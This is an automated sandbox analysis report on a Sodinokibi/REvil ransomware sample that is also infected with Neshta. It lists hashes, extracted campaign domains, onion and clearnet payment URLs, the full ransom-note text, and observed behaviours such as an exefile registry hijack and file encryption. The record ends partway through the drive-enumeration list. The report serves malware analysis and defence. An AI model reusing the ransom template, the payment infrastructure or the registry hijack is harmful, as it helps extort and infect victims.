Analysis
-
max time kernel
163s -
max time network
165s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
24-01-2022 02:19
Static task
static1
Behavioral task
behavioral1
Sample
3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe
Resource
win10-en-20211208
General
-
Target
3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe
-
Size
206KB
-
MD5
9d3792ff6b0ba2e8c4c1b60ab94529e7
-
SHA1
3ace8b6e446bd89d7bda4619ccf035fdd8fa64ab
-
SHA256
3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582
-
SHA512
33f3457ec0d2953c7b9b6e539e693ea4ee628f5bf18b45fe7cbd13a63e539e82d8bc4f885cef5114d089fec23dc989ec13acac54f0383af0d55c1da3d4469485
Malware Config
Extracted
C:\3vi9219dk-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/52B4C1B3615A8139
http://decryptor.cc/52B4C1B3615A8139
Extracted
sodinokibi
16
2931
juergenblaetz.de
sshomme.com
gavelmasters.com
haus-landliebe.de
imajyuku-sozoku.com
barbaramcfadyenjewelry.com
neolaiamedispa.com
wineandgo.hu
mediogiro.com.ar
arearugcleaningnyc.com
satoblog.org
theater-lueneburg.de
natturestaurante.com.br
magrinya.net
vitoriaecoturismo.com.br
suonenjoen.fi
scentedlair.com
charlesfrancis.photos
sber-biznes.com
drbenveniste.com
lapponiasafaris.com
pilotgreen.com
bluelakevision.com
cac2040.com
clemenfoto.dk
kenmccallum.com
golfclublandgoednieuwkerk.nl
sprintcoach.com
hutchstyle.co.uk
opticahubertruiz.com
buerocenter-butzbach-werbemittel.de
fbmagazine.ru
111firstdelray.com
allinonecampaign.com
yourhappyevents.fr
mesajjongeren.nl
rino-gmbh.com
andreaskildegaard.dk
cainlaw-okc.com
oro.ae
rsidesigns.com
direitapernambuco.com
artcase.pl
letsstopsmoking.co.uk
tesisatonarim.com
strauchs-wanderlust.info
activeterroristwarningcompany.com
heimdalbygg.no
nieuwsindeklas.be
inewsstar.com
holocine.de
agrifarm.dk
triplettabordeaux.fr
supercarhire.co.uk
buffdaddyblog.com
thiagoperez.com
shortysspices.com
breathebettertolivebetter.com
mrcar.nl
brannbornfastigheter.se
secrets-clubs.co.uk
boloria.de
groovedealers.ru
unexplored.gr
tatyanakopieva.ru
eventosvirtualesexitosos.com
yourcosmicbeing.com
oththukaruva.com
campinglaforetdetesse.com
outstandingminialbums.com
kickittickets.com
magnetvisual.com
nepal-pictures.com
qwikcoach.com
zdrowieszczecin.pl
bookingwheel.com
tastevirginia.com
rentsportsequip.com
explora.nl
richardmaybury.co.uk
mursall.de
enews-qca.com
richardkershawwines.co.za
gaearoyals.com
eurethicsport.eu
rivermusic.nl
skoczynski.eu
nrgvalue.com
alltagsrassismus-entknoten.de
endstarvation.com
publicompserver.de
watchsale.biz
dentallabor-luenen.de
cssp-mediation.org
leadforensics.com
ultimatelifesource.com
fotoslubna.com
noda.com.ua
mindsparkescape.com
perfectgrin.com
9nar.com
floweringsun.org
penumbuhrambutkeiskei.com
simpleitsolutions.ch
spectamarketingdigital.com.br
frameshift.it
babysitting-hk.helpergo.co
dreamvoiceclub.org
stathmoulis.gr
amyandzac.com
coachpreneuracademy.com
karelinjames.com
achetrabalhos.com
ludoil.it
kroophold-sjaelland.dk
lmmont.sk
reizenmetkinderen.be
stage-infirmier.fr
3daywebs.com
greatofficespaces.net
fire-space.com
curtsdiscountguns.com
purepreprod4.com
ramirezprono.com
stoneridgemontessori.com
uncensoredhentaigif.com
peppergreenfarmcatering.com.au
triplettagaite.fr
agora-collectivites.com
ayudaespiritualtamara.com
wyreforest.net
nepressurecleaning.com
frimec-international.es
devplus.be
baptistdistinctives.org
test-teleachat.fr
casinodepositors.com
alisodentalcare.com
apogeeconseils.fr
log-barn.co.uk
electricianul.com
mariannelemenestrel.com
hekecrm.com
teamsegeln.ch
xtensifi.com
dantreranch.com
the5thquestion.com
nationnewsroom.com
scotlandsroute66.co.uk
leijstrom.com
carmel-york.com
ziliak.com
billscars.net
apiarista.de
breakluckrecords.com
fluzfluzrewards.com
greenrider.nl
efficiencyconsulting.es
molinum.pt
licensed-public-adjuster.com
hinotruckwreckers.com.au
bmw-i-pure-impulse.com
deduktia.fi
nvisionsigns.com
dogsunlimitedguide.com
putzen-reinigen.com
yournextshoes.com
victorvictoria.com
jaaphoekzema.nl
fazagostar.co
redctei.co
banukumbak.com
initconf.com
sjtpo.org
auto-opel.ro
fascaonline.com
bilius.dk
johnsonweekly.com
cp-bap.de
chinowarehousespace.com
handyman-silkeborg.dk
paardcentraal.nl
datatri.be
rs-danmark.dk
xn--80abehgab4ak0ddz.xn--p1ai
skyboundnutrition.co.uk
amco.net.au
factoriareloj.com
c-sprop.com
oncarrot.com
alharsunindo.com
profibersan.com
kristianboennelykke.dk
gatlinburgcottage.com
biketruck.de
auberives-sur-vareze.fr
lookandseen.com
toranjtuition.org
janasfokus.com
furland.ru
dr-vita.de
guohedd.com
indiebizadvocates.org
altocontatto.net
5pointpt.com
drvoip.com
suitesartemis.gr
from02pro.com
soncini.ch
bratek-immobilien.de
skinkeeper.li
ownidentity.com
keyboardjournal.com
flossmoordental.com
pedmanson.com
n-newmedia.de
aslog.fr
stringnosis.academy
mahikuchen.com
avtoboss163.ru:443
gazelle-du-web.com
atma.nl
carolynfriedlander.com
kemtron.fr
bd2fly.com
plbinsurance.com
apmollerpension.com
thestudio.academy
sunsolutions.es
christopherhannan.com
johnstonmingmanning.com
mindfuelers.com
lexced.com
veggienessa.com
signamedia.de
acb-gruppe.ch
tilldeeke.de
lidkopingsnytt.nu
cyberpromote.de
stralsund-ansichten.de
bodet150ans.com
salonlamar.nl
bychowo.pl
laylavalentine.com
mangimirossana.it
energosbit-rp.ru
adedesign.com
alpesiberie.com
cleanroomequipment.ie
bayshoreelite.com
kompresory-opravy.com
unislaw-narty.pl
bellesiniacademy.org
palmecophilippines.com
t3brothers.com
agendatwentytwenty.com
aktivfriskcenter.se
eksperdanismanlik.com
operativadigital.com
pro-gamer.pl
ronielyn.com
corporacionrr.com
tweedekansenloket.nl
awaisghauri.com
cap29010.it
pokemonturkiye.com
atelierkomon.com
production-stills.co.uk
cymru.futbol
hostingbangladesh.net
mike.matthies.de
baikalflot.ru
ykobbqchicken.ca
adaduga.info
laaisterplakky.nl
traitware.com
rtc24.com
global-migrate.com
abulanov.com
sppdstats.com
arazi.eus
directique.com
eafx.pro
catchup-mag.com
galatee-couture.com
alene.co
aciscomputers.com
gurutechnologies.net
kuriero.pro
martha-frets-ceramics.nl
mac-computer-support-hamburg.de
broccolisoep.nl
mollymccarthydesign.com
eatyoveges.com
jalkapuu.net
mieleshopping.it
springfieldplumbermo.com
imagine-entertainment.com
terraflair.de
cuadc.org
adterium.com
ahgarage.com
designimage.ae
hm-com.com
site.markkit.com.br
finsahome.co.uk
malevannye.ru
advanced-removals.co.uk
chainofhopeeurope.eu
frankgoll.com
condormobile.fr
daveystownhouse.com
mazzaropi.com.br
rozmata.com
dentourage.com
rokthetalk.com
alnectus.com
nalliasmali.net
raeoflightmusic.com
tradenavigator.ch
cc-experts.de
beandrivingschool.com.au
cardsandloyalty.com
luvinsburger.fr
circuit-diagramz.com
jonnyhooley.com
evsynthacademy.org
grancanariaregional.com
eshop.design
shortsalemap.com
chris-anne.com
clinic-beethovenstrasse-ag.ch
lisa-poncon.fr
hostaletdelsindians.es
mediahub.co.nz
universelle.fr
utilisacteur.fr
fridakids.com
orchardbrickwork.com
metcalfe.ca
catalyseurdetransformation.com
mensemetgesigte.co.za
dmlcpa.com
jag.me
denverwynkoopdentist.com
computer-place.de
rolleepollee.com
denhaagfoodie.nl
four-ways.com
monstarrsoccer.com
aidanpublishing.co.uk
valiant-voice.com
espaciopolitica.com
charlottelhanna.com
sealgrinderpt.com
hotelturbo.de
biodentify.ai
topautoinsurers.net
angeleyezstripclub.com
jayfurnitureco.com
speiserei-hannover.de
maryairbnb.wordpress.com
johnkoen.com
albcleaner.fr
ivancacu.com
husetsanitas.dk
brownswoodblog.com
metriplica.academy
kausette.com
mazift.dk
wg-heiligenstadt.de
cincinnatiphotocompany.org
katherinealy.com
smartworkplaza.com
boyfriendsgoal.site
projektparkiet.pl
stabilisateur.fr
fskhjalmar.se
elitkeramika-shop.com.ua
bluetenreich-brilon.de
sololibrerie.it
jmmartinezilustrador.com
1deals.com
craftstone.co.nz
domilivefurniture.com
kookooo.com
vdolg24.online
loparnille.se
glende-pflanzenparadies.de
xn--billigafrgpatroner-stb.se
thisprettyhair.com
asiaartgallery.jp
rapid5kloan.org
bavovrienden.nl
linearete.com
rishigangoly.com
napisat-pismo-gubernatoru.ru:443
oraweb.net
patassociation.com
bertbutter.nl
drnelsonpediatrics.com
markseymourphotography.co.uk
nbva.co.uk
julielusktherapy.com
morgansconsult.com
topvijesti.net
grupoexin10.com
mediabolmong.com
cesep2019.com
slotenmakerszwijndrecht.nl
airserviceunlimited.com
sarahspics.co.uk
medicalsupportco.com
jglconsultancy.com
welovecustomers.fr
hypogenforensic.com
focuskontur.com
bescomedical.de
chomiksy.net
theboardroomafrica.com
mamajenedesigns.com
radishallgood.com
ronaldhendriks.nl
nykfdyrehospital.dk
foerderverein-vatterschule.de
schlagbohrmaschinetests.com
wirmuessenreden.com
bruut.online
ufovidmag.com
kellengatton.com
lunoluno.com
myfbateam.com
baumfinancialservices.com
axisoflove.org:443
renehartman.nl
irizar.com
easydental.ae
craftingalegacy.com
the-beauty-guides.com
rhino-turf.com
2020hindsight.info
gratiocafeblog.wordpress.com
pharmeko-group.com
airvapourbarrier.com
lattalvor.com
startuplive.org
smartmind.net
khtrx.com
memphishealthandwellness.com
expohomes.com
vvego.com
bridalcave.com
kiraribeaute-nani.com
bohrlochversicherung.info
nuohous.com
logosindustries.com
skyscanner.ro
nourella.com
rename.kz
hartofurniture.com
successcolony.com.ng
devus.de
muni.pe
tecleados.com
limmortelyouth.com
leopoldineroux.com
trevi-vl.ru
b3b.ch
fann.ru
krishnabrawijaya.com
hom-frisor.dk
innovationgames-brabant.nl
ciga-france.fr
omegamarbella.com
pajagus.fr
pvandambv.nl
quitescorting.com
wademurray.com
walterman.es
miscbo.it
stressreliefadvice.com
ddmgen.com
trivselsguide.dk
fta-media.com
physio-lang.de
comoserescritor.com
iron-mine.ru
dnqa.co.uk
scholarquotes.com
narca.net
g2mediainc.com
greeneyetattoo.com
smarttourism.academy
landgoedspica.nl
min-virksomhed.dk
jakubrybak.com
galaniuklaw.com
arthakapitalforvaltning.dk
kamin-somnium.de
jobstomoveamerica.org
unboxtherapy.site
tothebackofthemoon.com
rhino-storage.co.uk
kryptos72.com
blucamp.com
etgdogz.de
jlgraphisme.fr
altitudeboise.com
metallbau-hartmann.eu
zinnystar.com
angelsmirrorus.com
tbalp.co.uk
ledyoucan.com
jacquesgarcianoto.com
zaczytana.com
fidelitytitleoregon.com
adabible.org
bajova.sk
cmascd.com
iexpert99.com
onlinetvgroup.com
chatterchatterchatter.com
louiedager.com
agenceassemble.fr
goddardleadership.org
hawaiisteelbuilding.com
pixelhealth.net
ruggestar.ch
jobscore.com
burg-zelem.de
mustangmarketinggroup.com
campusescalade.com
ebible.co
lyricalduniya.com
masecologicos.com
myplaywin3.com
angelika-schwarz.com
marcandy.com
pankiss.ru
kelsigordon.com
qandmmusiccenter.com
onesynergyinternational.com
silkeight.com
internestdigital.com
pxsrl.it
santastoy.store
larchwoodmarketing.com
hotjapaneselesbian.com
lashandbrowenvy.com
cmeow.com
latteswithleslie.com
5thactors.com
jollity.hu
primemarineengineering.com
piestar.com
lesyeuxbleus.net
jdscenter.com
edrickennedymacfoy.com
olry-cloisons.fr
mrkluttz.com
silverbird.dk
paprikapod.com
endlessrealms.net
diakonie-weitramsdorf-sesslach.de
bumbipdeco.site
hoteltantra.com
glas-kuck.de
alattekniksipil.com
redpebblephotography.com
hostastay.com
annida.it
levelseven.be
randyabrown.com
zorgboerderijravensbosch.nl
nxtstg.org
alabamaroofingllc.com
reygroup.pt
cops4causes.org
leatherjees.com
pourlabretagne.bzh
hospitalitytrainingsolutions.co.uk
bakingismyyoga.com
bourchier.org
marmarabasin.com
rizplakatjaya.com
solutionshosting.co.uk
janmorgenstern.com
ya-elka.ru
ceocenters.com
gosouldeep.com
theintellect.edu.pk
yayasanprimaunggul.org
leansupremegarcinia.net
saint-malo-developpement.fr
mariamalmahdi.com
taulunkartano.fi
photonag.com
colored-shelves.com
nginx.com
acumenconsultingcompany.com
tzn.nu
wribrazil.com
martinipstudios.com
affligemsehondenschool.be
collegetennis.info
manzel.tn
interlinkone.com
voice2biz.com
gta-jjb.fr
ketomealprep.academy
lagschools.ng
sveneulberg.de
bcabattoirs.org
muller.nl
zuerich-umzug.ch
whoopingcrane.com
patriotcleaning.net
lumturo.academy
dierenambulancealkmaar.nl
livelai.com
hameghlim.com
skolaprome.eu
imaginekithomes.co.nz
spacebel.be
proffteplo.com
alexwenzel.de
perceptdecor.com
o2o-academy.com
edvestors.org
fixx-repair.com
citydogslife.com
ikzoekgod.be
hnkns.com
innervisions-id.com
jobkiwi.com.ng
fsbforsale.com
innersurrection.com
jimprattmediations.com
margaretmcshane.com
bulyginnikitav.000webhostapp.com
sharonalbrightdds.com
phukienbepthanhdat.com
hiddensee-buhne11.de
jlwilsonbooks.com
kafkacare.com
qrs-international.com
karmeliterviertel.com
studionumerik.fr
bodymindchallenger.com
billyoart.com
sambaglow.com
brisbaneosteopathic.com.au
brighthillgroup.com
thesilkroadny.com
anchelor.com
askstaffing.com
ocduiblog.com
lsngroupe.com
jefersonalessandro.com
jax-interim-and-projectmanagement.com
ncn.nl
prometeyagro.com.ua
ingresosextras.online
optigas.com
malzomattalar.com
cormanmarketing.com
docarefoundation.org
rubyaudiology.com
factorywizuk.com
donau-guides.eu
m2graph.fr
cookinn.nl
stitch-n-bitch.com
lollachiro.com
vapiano.fr
uci-france.fr
matteoruzzaofficial.com
limounie.com
biblica.com
zealcon.ae
artvark.nl
xn--80addfr4ahr.dp.ua
riffenmattgarage.ch
hensleymarketing.com
lgiwines.com
avis.mantova.it
pansionatblago.ru
hawthornsretirement.co.uk
thegrinningmanmusical.com
block-optic.com
descargandoprogramas.com
gardenpartner.pl
harleystreetspineclinic.com
schulz-moelln.de
towelroot.co
billigeflybilletter.dk
almamidwifery.com
alwaysdc.com
bringmehope.org
the3-week-diet.net
envomask.com
beauty-traveller.com
photographycreativity.co.uk
atrgroup.it
fotoeditores.com
vipcarrental.ae
loysonbryan.com
cascinarosa33.it
encounter-p.net
betterce.com
oscommunity.de
thenalpa.com
thegetawaycollective.com
hvitfeldt.dk
vedsegaard.dk
lifeinbreaths.com
bjornvanvulpen.nl
eyedoctordallas.com
saberconcrete.com
globalcompliancenews.com
geoweb.software
pubcon.com
liveyourheartout.co
amelielecompte.wordpress.com
elex.is
buzzneakers.com
finnergo.eu
dentalcircle.com
zwemofficial.nl
aberdeenartwalk.org
housesofwa.com
mayprogulka.ru
istantidigitali.com
pinkxgayvideoawards.com
happylublog.wordpress.com
stanleyqualitysystems.com
rvside.com
singletonfinancial.com
tramadolhealth.com
goodboyscustom.com
haard-totaal.nl
glennverschueren.be
tanatek.com
dibli.store
parisschool.ru
specialtyhomeservicesllc.com
agriturismocastagneto.it
xn--ziinoapte-6ld.ro
rossomattonecase.it
prodentalblue.com
ox-home.com
oexebusiness.com
globalskills.pt
dayenne-styling.nl
davedavisphotos.com
centuryvisionglobal.com
druktemakersheerenveen.nl
diverfiestas.com.es
kosten-vochtbestrijding.be
tchernia-conseil.fr
switch-made.com
k-zubki.ru
volta.plus
thepixelfairy.com
bonitabeachassociation.com
pazarspor.org.tr
chorusconsulting.net
carsten.sparen-it.de
mariajosediazdemera.com
chatberlin.de
littlesaints.academy
webforsites.com
concontactodirecto.com
midwestschool.org
trainiumacademy.com
bluemarinefoundation.com
tetameble.pl
creohn.de
nexstagefinancial.com
craftron.com
profiz.com
smartspeak.com
awaitspain.com
powershell.su
wasnederland.nl
ilveshistoria.com
brinkdoepke.eu
11.in.ua
scietech.academy
baita.ac
pureelements.nl
techybash.com
schroederschoembs.com
bcmets.info
skooppi.fi
anleggsregisteret.no
animation-pro.co.uk
liepertgrafikweb.at
moira-cristescu.com
mneti.ru
digitale-elite.de
heuvelland-oaze.nl
birthplacemag.com
werkzeugtrolley.net
90nguyentuan.com
nicksrock.com
autoteamlast.de
keuken-prijs.nl
sellthewrightway.com
georgemuncey.com
queertube.net
funworx.de
fanuli.com.au
ideamode.com
yvesdoin-aquarelles.fr
leloupblanc.gr
o90.dk
ntinasfiloxenia.gr
wallflowersandrakes.com
dinecorp.com
ravage-webzine.nl
basindentistry.com
palmenhaus-erfurt.de
promus.ca
rentingwell.com
internalresults.com
motocrosshideout.com
wrinstitute.org
nutriwell.com.sg
mjk.digital
pinthelook.com
luvbec.com
blueridgeheritage.com
egpu.fr
framemyballs.com
brunoimmobilier.com
entdoctor-durban.com
forextimes.ru
kartuindonesia.com
vitormmcosta.com
dennisverschuur.com
alaskaremote.com
teutoradio.de
alcye.com
dieetuniversiteit.nl
soundseeing.net
motocrossplace.co.uk
mercadodelrio.com
paradigmlandscape.com
latableacrepes-meaux.fr
kdbrh.com
parentsandkids.com
newonestop.com
aceroprime.com
dinedrinkdetroit.com
duthler.nl
andrealuchesi.it
rarefoods.ro
premier-iowa.com
kvetymichalovce.sk
hepishopping.com
subquercy.fr
modamarfil.com
campusce.com
polynine.com
a-zpaperwork.eu
metroton.ru
fi-institutionalfunds.com
jandhpest.com
blavait.fr
geitoniatonaggelon.gr
delegationhub.com
lovcase.com
forumsittard.nl
teethinadaydentalimplants.com
p-ride.live
elliemaccreative.wordpress.com
happycatering.de
goodherbalhealth.com
turing.academy
solidhosting.nl
k-v-f.de
der-stempelking.de
ilovefullcircle.com
azerbaycanas.com
nevadaruralhousingstudies.org
justaroundthecornerpetsit.com
aheadloftladders.co.uk
domaine-des-pothiers.com
advesa.com
catering.com
protoplay.ca
schluesseldienste-hannover.de
spartamovers.com
belofloripa.be
nauticmarine.dk
skidpiping.de
so-sage.fr
matthieupetel.fr
fitnessblenderstory.com
graygreenbiomedservices.com
eos-horlogerie.com
acornishstudio.co.uk
epicjapanart.com
sochi-okna23.ru
kombi-dress.com
professionetata.com
tellthebell.website
ijsselbeton.nl
buonabitare.com
benchbiz.com
look.academy
texanscan.org
tutvracks.com
berdonllp.com
banksrl.co.za
epsondriversforwindows.com
ncjc.ca
onlinemarketingsurgery.co.uk
palema.gr
bundan.com
rattanwarehouse.co.uk
antesacademy.it
avisioninthedesert.com
shrinkingplanet.com
eastgrinsteadwingchun.com
pays-saint-flour.fr
kerstliedjeszingen.nl
ced-elec.com
animalfood-online.de
worldproskitour.com
neonodi.be
arabianmice.com
parseport.com
livedeveloper.com
web865.com
distrifresh.com
pisofare.co
slotspinner.com
letterscan.de
oportowebdesign.com
cotton-avenue.co.il
gbk-tp1.de
xrresources.com
stagefxinc.com
opt4cdi.com
girlish.ae
csaballoons.com
lovetzuchia.com
parksideseniorliving.net
aoyama.ac
klapanvent.ru
grafikstudio-visuell.de
die-immo-agentur.de
bg.szczecin.pl
azloans.com
sweetz.fr
akwaba-safaris.com
circlecitydj.com
slideevents.be
poems-for-the-soul.ch
gsconcretecoatings.com
janellrardon.com
michal-s.co.il
omnicademy.com
racefietsenblog.nl
fla.se
voetbalhoogeveen.nl
weddingceremonieswithtim.com
levencovka.ru
placermonticello.com
mind2muscle.nl
forskolinslimeffect.net
maxcube24.com.ua
verbouwingsdouche.nl
mondolandscapes.com
claudiakilian.de
mundo-pieces-auto.fr
lassocrm.com
business-basic.de
richardiv.com
enactusnhlstenden.com
crestgood.com
itheroes.dk
afbudsrejserallinclusive.dk
thehovecounsellingpractice.co.uk
renderbox.ch
annenymus.com
precisetemp.com
subyard.com
rechtenplicht.be
sachainchiuk.com
bendel-partner.de
testitjavertailut.net
transifer.fr
invela.dk
bubbalucious.com
legundschiess.de
drbrianhweeks.com
sbit.ag
belinda.af
sycamoregreenapts.com
molade.nl
insane.agency
makingmillionaires.net
ygallerysalonsoho.com:443
astrographic.com
christianscholz.de
mikegoodfellow.co.uk
dcc-eu.com
relevantonline.eu
goeppinger-teppichreinigung.de
agencewho-aixenprovence.fr
koncept-m.ru
peninggibadan.co.id
therapybusinessacademy.com
witraz.pl
zumrutkuyutemel.com
aquacheck.co.za
akcadagofis.com
the-cupboard.co.uk
citiscapes-art.com
signededenroth.dk
amorbellezaysalud.com
bagaholics.in
reputation-medical.online
deziplan.ru
liverpoolabudhabi.ae
smartercashsystem.com
futurenetworking.com
speakaudible.com
mslp.org
mbuildinghomes.com
netadultere.fr
line-x.co.uk
phoenixcrane.com
theatre-embellie.fr
advancedeyecare.com
iactechnologies.net
naukaip.ru
mrmac.com
tieronechic.com
ikadomus.com
selected-minds.de
cxcompany.com
andermattswisswatches.ch
yuanshenghotel.com
ninjaki.com
customroasts.com
awag-blog.de
advance-refle.com
tages-geldvergleich.de
premiumweb.com.ua:443
spirello.nl
boomerslivinglively.com
linkbuilding.life
fysiotherapierijnmond.nl
go.labibini.ch
humanviruses.org
otpusk.zp.ua
kryddersnapsen.dk
jeanmonti.com
saboboxtel.uk
acibademmobil.com.tr
cl0nazepamblog.com
sytzedevries.com
wordpress.idium.no
augen-praxisklinik-rostock.de
osn.ro
jameswilliamspainting.com
triavlete.com
michaelfiegel.com
mgimalta.com
-
net
false
-
pid
16
-
ransom_oneliner
All of your files are encrypted! Find {EXT}-readme.txt and follow instuctions
-
ransom_template
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension {EXT}. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/{UID} 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/{UID} Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: {KEY} ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
-
sub
2931
Signatures
-
Modifies system executable filetype association 2 TTPs 1 IoCs
Processes:
3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*" 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe -
Neshta
Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.
-
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
-
Executes dropped EXE 1 IoCs
Processes:
3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exepid process 680 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe -
Modifies extensions of user files 11 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exedescription ioc process File opened for modification \??\c:\users\admin\pictures\DebugTrace.tiff 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File renamed C:\Users\Admin\Pictures\CopyUndo.tiff => \??\c:\users\admin\pictures\CopyUndo.tiff.3vi9219dk 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File renamed C:\Users\Admin\Pictures\ResumeSet.crw => \??\c:\users\admin\pictures\ResumeSet.crw.3vi9219dk 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File renamed C:\Users\Admin\Pictures\PingDismount.raw => \??\c:\users\admin\pictures\PingDismount.raw.3vi9219dk 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File renamed C:\Users\Admin\Pictures\DebugTrace.tiff => \??\c:\users\admin\pictures\DebugTrace.tiff.3vi9219dk 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification \??\c:\users\admin\pictures\CopyUndo.tiff 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened for modification \??\c:\users\admin\pictures\UnregisterRestore.tiff 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File renamed C:\Users\Admin\Pictures\CheckpointPublish.tif => \??\c:\users\admin\pictures\CheckpointPublish.tif.3vi9219dk 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File renamed C:\Users\Admin\Pictures\ConfirmSwitch.raw => \??\c:\users\admin\pictures\ConfirmSwitch.raw.3vi9219dk 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File renamed C:\Users\Admin\Pictures\ConfirmDebug.raw => \??\c:\users\admin\pictures\ConfirmDebug.raw.3vi9219dk 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File renamed C:\Users\Admin\Pictures\UnregisterRestore.tiff => \??\c:\users\admin\pictures\UnregisterRestore.tiff.3vi9219dk 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exedescription ioc process File opened (read-only) \??\Q: 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened (read-only) \??\U: 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened (read-only) \??\Y: 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened (read-only) \??\H: 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened (read-only) \??\I: 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened (read-only) \??\K: 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened (read-only) \??\N: 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened (read-only) \??\O: 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened (read-only) \??\R: 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened (read-only) \??\S: 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened (read-only) \??\V: 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened (read-only) \??\A: 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened (read-only) \??\F: 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened (read-only) \??\J: 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened (read-only) \??\L: 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened (read-only) \??\M: 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened (read-only) \??\W: 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened (read-only) \??\X: 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened (read-only) \??\P: 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened (read-only) \??\Z: 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened (read-only) \??\B: 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened (read-only) \??\E: 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened (read-only) \??\G: 3263ec59c493f40a3dcdd0b595fa8ef8aee8679b6bd441ea6cfe4da715201582.exe File opened (read-only) \??\T: 